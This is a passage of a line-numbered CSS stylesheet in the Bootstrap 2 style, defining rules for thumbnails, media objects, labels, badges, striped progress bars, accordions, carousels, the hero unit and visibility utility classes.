rgba(0, 105, 214, 0.25); 4513 | box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25); 4514 | } 4515 | .thumbnail > img { 4516 | display: block; 4517 | max-width: 100%; 4518 | margin-left: auto; 4519 | margin-right: auto; 4520 | } 4521 | .thumbnail .caption { 4522 | padding: 9px; 4523 | color: #555555; 4524 | } 4525 | .media, 4526 | .media-body { 4527 | overflow: hidden; 4528 | *overflow: visible; 4529 | zoom: 1; 4530 | } 4531 | .media, 4532 | .media .media { 4533 | margin-top: 15px; 4534 | } 4535 | .media:first-child { 4536 | margin-top: 0; 4537 | } 4538 | .media-object { 4539 | display: block; 4540 | } 4541 | .media-heading { 4542 | margin: 0 0 5px; 4543 | } 4544 | .media .pull-left { 4545 | margin-right: 10px; 4546 | } 4547 | .media .pull-right { 4548 | margin-left: 10px; 4549 | } 4550 | .media-list { 4551 | margin-left: 0; 4552 | list-style: none; 4553 | } 4554 | .label, 4555 | .badge { 4556 | display: inline-block; 4557 | padding: 2px 4px; 4558 | font-size: 11.844px; 4559 | font-weight: bold; 4560 | line-height: 14px; 4561 | color: #ffffff; 4562 | vertical-align: baseline; 4563 | white-space: nowrap; 4564 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 4565 | background-color: #999999; 4566 | } 4567 | .label { 4568 | -webkit-border-radius: 3px; 4569 | -moz-border-radius: 3px; 4570 | border-radius: 3px; 4571 | } 4572 | .badge { 4573 | padding-left: 9px; 4574 | padding-right: 9px; 4575 | -webkit-border-radius: 9px; 4576 | -moz-border-radius: 9px; 4577 | border-radius: 9px; 4578 | } 4579 | a.label:hover, 4580 | a.badge:hover { 4581 | color: #ffffff; 4582 | text-decoration: none; 4583 | cursor: pointer; 4584 | } 4585 | .label-important, 4586 | .badge-important { 4587 | background-color: #b94a48; 4588 | } 4589 | .label-important[href], 4590 | .badge-important[href] { 4591 | background-color: #953b39; 4592 | } 4593 | .label-warning, 4594 | .badge-warning { 4595 | background-color: #f89406; 4596 | } 4597 | .label-warning[href], 4598 | .badge-warning[href] { 4599 | background-color: #c67605; 4600 | } 4601 | .label-success, 4602 | .badge-success { 4603 | background-color: #468847; 4604 | } 4605 | .label-success[href], 4606 | .badge-success[href] { 4607 | background-color: #356635; 4608 | } 4609 | .label-info, 4610 | .badge-info { 4611 | background-color: #3a87ad; 4612 | } 4613 | .label-info[href], 4614 | .badge-info[href] { 4615 | background-color: #2d6987; 4616 | } 4617 | .label-inverse, 4618 | .badge-inverse { 4619 | background-color: #333333; 4620 | } 4621 | .label-inverse[href], 4622 | .badge-inverse[href] { 4623 | background-color: #1a1a1a; 4624 | } 4625 | .btn .label, 4626 | .btn .badge { 4627 | position: relative; 4628 | top: -1px; 4629 | } 4630 | .btn-mini .label, 4631 | .btn-mini .badge { 4632 | top: 0; 4633 | } 4634 | @-webkit-keyframes progress-bar-stripes { 4635 | from { 4636 | background-position: 40px 0; 4637 | } 4638 | to { 4639 | background-position: 0 0; 4640 | } 4641 | } 4642 | @-moz-keyframes progress-bar-stripes { 4643 | from { 4644 | background-position: 40px 0; 4645 | } 4646 | to { 4647 | background-position: 0 0; 4648 | } 4649 | } 4650 | @-ms-keyframes progress-bar-stripes { 4651 | from { 4652 | background-position: 40px 0; 4653 | } 4654 | to { 4655 | background-position: 0 0; 4656 | } 4657 | } 4658 | @-o-keyframes progress-bar-stripes { 4659 | from { 4660 | background-position: 0 0; 4661 | } 4662 | to { 4663 | background-position: 40px 0; 4664 | } 4665 | } 4666 | @keyframes progress-bar-stripes { 4667 | from { 4668 | background-position: 40px 0; 4669 | } 4670 | to { 4671 | background-position: 0 0; 4672 | } 4673 | } 4674 | .progress { 4675 | overflow: hidden; 4676 | height: 20px; 4677 | margin-bottom: 20px; 4678 | background-color: #f7f7f7; 4679 | background-image: -moz-linear-gradient(top, #f5f5f5, #f9f9f9); 4680 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9)); 4681 | background-image: -webkit-linear-gradient(top, #f5f5f5, #f9f9f9); 4682 | background-image: -o-linear-gradient(top, #f5f5f5, #f9f9f9); 4683 | background-image: linear-gradient(to bottom, #f5f5f5, #f9f9f9); 4684 | background-repeat: repeat-x; 4685 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff9f9f9', GradientType=0); 4686 | -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); 4687 | -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); 4688 | box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); 4689 | -webkit-border-radius: 4px; 4690 | -moz-border-radius: 4px; 4691 | border-radius: 4px; 4692 | } 4693 | .progress .bar { 4694 | width: 0%; 4695 | height: 100%; 4696 | color: #ffffff; 4697 | float: left; 4698 | font-size: 12px; 4699 | text-align: center; 4700 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 4701 | background-color: #0e90d2; 4702 | background-image: -moz-linear-gradient(top, #149bdf, #0480be); 4703 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be)); 4704 | background-image: -webkit-linear-gradient(top, #149bdf, #0480be); 4705 | background-image: -o-linear-gradient(top, #149bdf, #0480be); 4706 | background-image: linear-gradient(to bottom, #149bdf, #0480be); 4707 | background-repeat: repeat-x; 4708 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff149bdf', endColorstr='#ff0480be', GradientType=0); 4709 | -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); 4710 | -moz-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); 4711 | box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); 4712 | -webkit-box-sizing: border-box; 4713 | -moz-box-sizing: border-box; 4714 | box-sizing: border-box; 4715 | -webkit-transition: width 0.6s ease; 4716 | -moz-transition: width 0.6s ease; 4717 | -o-transition: width 0.6s ease; 4718 | transition: width 0.6s ease; 4719 | } 4720 | .progress .bar + .bar { 4721 | -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15); 4722 | -moz-box-shadow: inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15); 4723 | box-shadow: inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15); 4724 | } 4725 | .progress-striped .bar { 4726 | background-color: #149bdf; 4727 | background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); 4728 | background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4729 | background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4730 | background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4731 | background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4732 | -webkit-background-size: 40px 40px; 4733 | -moz-background-size: 40px 40px; 4734 | -o-background-size: 40px 40px; 4735 | background-size: 40px 40px; 4736 | } 4737 | .progress.active .bar { 4738 | -webkit-animation: progress-bar-stripes 2s linear infinite; 4739 | -moz-animation: progress-bar-stripes 2s linear infinite; 4740 | -ms-animation: progress-bar-stripes 2s linear infinite; 4741 | -o-animation: progress-bar-stripes 2s linear infinite; 4742 | animation: progress-bar-stripes 2s linear infinite; 4743 | } 4744 | .progress-danger .bar, 4745 | .progress .bar-danger { 4746 | background-color: #dd514c; 4747 | background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35); 4748 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35)); 4749 | background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35); 4750 | background-image: -o-linear-gradient(top, #ee5f5b, #c43c35); 4751 | background-image: linear-gradient(to bottom, #ee5f5b, #c43c35); 4752 | background-repeat: repeat-x; 4753 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffc43c35', GradientType=0); 4754 | } 4755 | .progress-danger.progress-striped .bar, 4756 | .progress-striped .bar-danger { 4757 | background-color: #ee5f5b; 4758 | background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); 4759 | background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4760 | background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4761 | background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4762 | background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4763 | } 4764 | .progress-success .bar, 4765 | .progress .bar-success { 4766 | background-color: #5eb95e; 4767 | background-image: -moz-linear-gradient(top, #62c462, #57a957); 4768 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957)); 4769 | background-image: -webkit-linear-gradient(top, #62c462, #57a957); 4770 | background-image: -o-linear-gradient(top, #62c462, #57a957); 4771 | background-image: linear-gradient(to bottom, #62c462, #57a957); 4772 | background-repeat: repeat-x; 4773 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff57a957', GradientType=0); 4774 | } 4775 | .progress-success.progress-striped .bar, 4776 | .progress-striped .bar-success { 4777 | background-color: #62c462; 4778 | background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); 4779 | background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4780 | background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4781 | background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4782 | background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4783 | } 4784 | .progress-info .bar, 4785 | .progress .bar-info { 4786 | background-color: #4bb1cf; 4787 | background-image: -moz-linear-gradient(top, #5bc0de, #339bb9); 4788 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9)); 4789 | background-image: -webkit-linear-gradient(top, #5bc0de, #339bb9); 4790 | background-image: -o-linear-gradient(top, #5bc0de, #339bb9); 4791 | background-image: linear-gradient(to bottom, #5bc0de, #339bb9); 4792 | background-repeat: repeat-x; 4793 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff339bb9', GradientType=0); 4794 | } 4795 | .progress-info.progress-striped .bar, 4796 | .progress-striped .bar-info { 4797 | background-color: #5bc0de; 4798 | background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); 4799 | background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4800 | background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4801 | background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4802 | background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4803 | } 4804 | .progress-warning .bar, 4805 | .progress .bar-warning { 4806 | background-color: #faa732; 4807 | background-image: -moz-linear-gradient(top, #fbb450, #f89406); 4808 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406)); 4809 | background-image: -webkit-linear-gradient(top, #fbb450, #f89406); 4810 | background-image: -o-linear-gradient(top, #fbb450, #f89406); 4811 | background-image: linear-gradient(to bottom, #fbb450, #f89406); 4812 | background-repeat: repeat-x; 4813 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0); 4814 | } 4815 | .progress-warning.progress-striped .bar, 4816 | .progress-striped .bar-warning { 4817 | background-color: #fbb450; 4818 | background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); 4819 | background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4820 | background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4821 | background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4822 | background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); 4823 | } 4824 | .accordion { 4825 | margin-bottom: 20px; 4826 | } 4827 | .accordion-group { 4828 | margin-bottom: 2px; 4829 | border: 1px solid #e5e5e5; 4830 | -webkit-border-radius: 4px; 4831 | -moz-border-radius: 4px; 4832 | border-radius: 4px; 4833 | } 4834 | .accordion-heading { 4835 | border-bottom: 0; 4836 | } 4837 | .accordion-heading .accordion-toggle { 4838 | display: block; 4839 | padding: 8px 15px; 4840 | } 4841 | .accordion-toggle { 4842 | cursor: pointer; 4843 | } 4844 | .accordion-inner { 4845 | padding: 9px 15px; 4846 | border-top: 1px solid #e5e5e5; 4847 | } 4848 | .carousel { 4849 | position: relative; 4850 | margin-bottom: 20px; 4851 | line-height: 1; 4852 | } 4853 | .carousel-inner { 4854 | overflow: hidden; 4855 | width: 100%; 4856 | position: relative; 4857 | } 4858 | .carousel .item { 4859 | display: none; 4860 | position: relative; 4861 | -webkit-transition: 0.6s ease-in-out left; 4862 | -moz-transition: 0.6s ease-in-out left; 4863 | -o-transition: 0.6s ease-in-out left; 4864 | transition: 0.6s ease-in-out left; 4865 | } 4866 | .carousel .item > img { 4867 | display: block; 4868 | line-height: 1; 4869 | } 4870 | .carousel .active, 4871 | .carousel .next, 4872 | .carousel .prev { 4873 | display: block; 4874 | } 4875 | .carousel .active { 4876 | left: 0; 4877 | } 4878 | .carousel .next, 4879 | .carousel .prev { 4880 | position: absolute; 4881 | top: 0; 4882 | width: 100%; 4883 | } 4884 | .carousel .next { 4885 | left: 100%; 4886 | } 4887 | .carousel .prev { 4888 | left: -100%; 4889 | } 4890 | .carousel .next.left, 4891 | .carousel .prev.right { 4892 | left: 0; 4893 | } 4894 | .carousel .active.left { 4895 | left: -100%; 4896 | } 4897 | .carousel .active.right { 4898 | left: 100%; 4899 | } 4900 | .carousel-control { 4901 | position: absolute; 4902 | top: 40%; 4903 | left: 15px; 4904 | width: 40px; 4905 | height: 40px; 4906 | margin-top: -20px; 4907 | font-size: 60px; 4908 | font-weight: 100; 4909 | line-height: 30px; 4910 | color: #ffffff; 4911 | text-align: center; 4912 | background: #222222; 4913 | border: 3px solid #ffffff; 4914 | -webkit-border-radius: 23px; 4915 | -moz-border-radius: 23px; 4916 | border-radius: 23px; 4917 | opacity: 0.5; 4918 | filter: alpha(opacity=50); 4919 | } 4920 | .carousel-control.right { 4921 | left: auto; 4922 | right: 15px; 4923 | } 4924 | .carousel-control:hover { 4925 | color: #ffffff; 4926 | text-decoration: none; 4927 | opacity: 0.9; 4928 | filter: alpha(opacity=90); 4929 | } 4930 | .carousel-caption { 4931 | position: absolute; 4932 | left: 0; 4933 | right: 0; 4934 | bottom: 0; 4935 | padding: 15px; 4936 | background: #333333; 4937 | background: rgba(0, 0, 0, 0.75); 4938 | } 4939 | .carousel-caption h4, 4940 | .carousel-caption p { 4941 | color: #ffffff; 4942 | line-height: 20px; 4943 | } 4944 | .carousel-caption h4 { 4945 | margin: 0 0 5px; 4946 | } 4947 | .carousel-caption p { 4948 | margin-bottom: 0; 4949 | } 4950 | .hero-unit { 4951 | padding: 60px; 4952 | margin-bottom: 30px; 4953 | font-size: 18px; 4954 | font-weight: 200; 4955 | line-height: 30px; 4956 | color: inherit; 4957 | background-color: #eeeeee; 4958 | -webkit-border-radius: 6px; 4959 | -moz-border-radius: 6px; 4960 | border-radius: 6px; 4961 | } 4962 | .hero-unit h1 { 4963 | margin-bottom: 0; 4964 | font-size: 60px; 4965 | line-height: 1; 4966 | color: inherit; 4967 | letter-spacing: -1px; 4968 | } 4969 | .hero-unit li { 4970 | line-height: 30px; 4971 | } 4972 | .pull-right { 4973 | float: right; 4974 | } 4975 | .pull-left { 4976 | float: left; 4977 | } 4978 | .hide { 4979 | display: none; 4980 | } 4981 | .show { 4982 | display: block; 4983 | } 4984 | .invisible { 4985 | visibility: hidden; 4986 | } 4987 | .affix { 4988 | position: fixed; 4989 | } 4990 | --------------------------------------------------------------------------------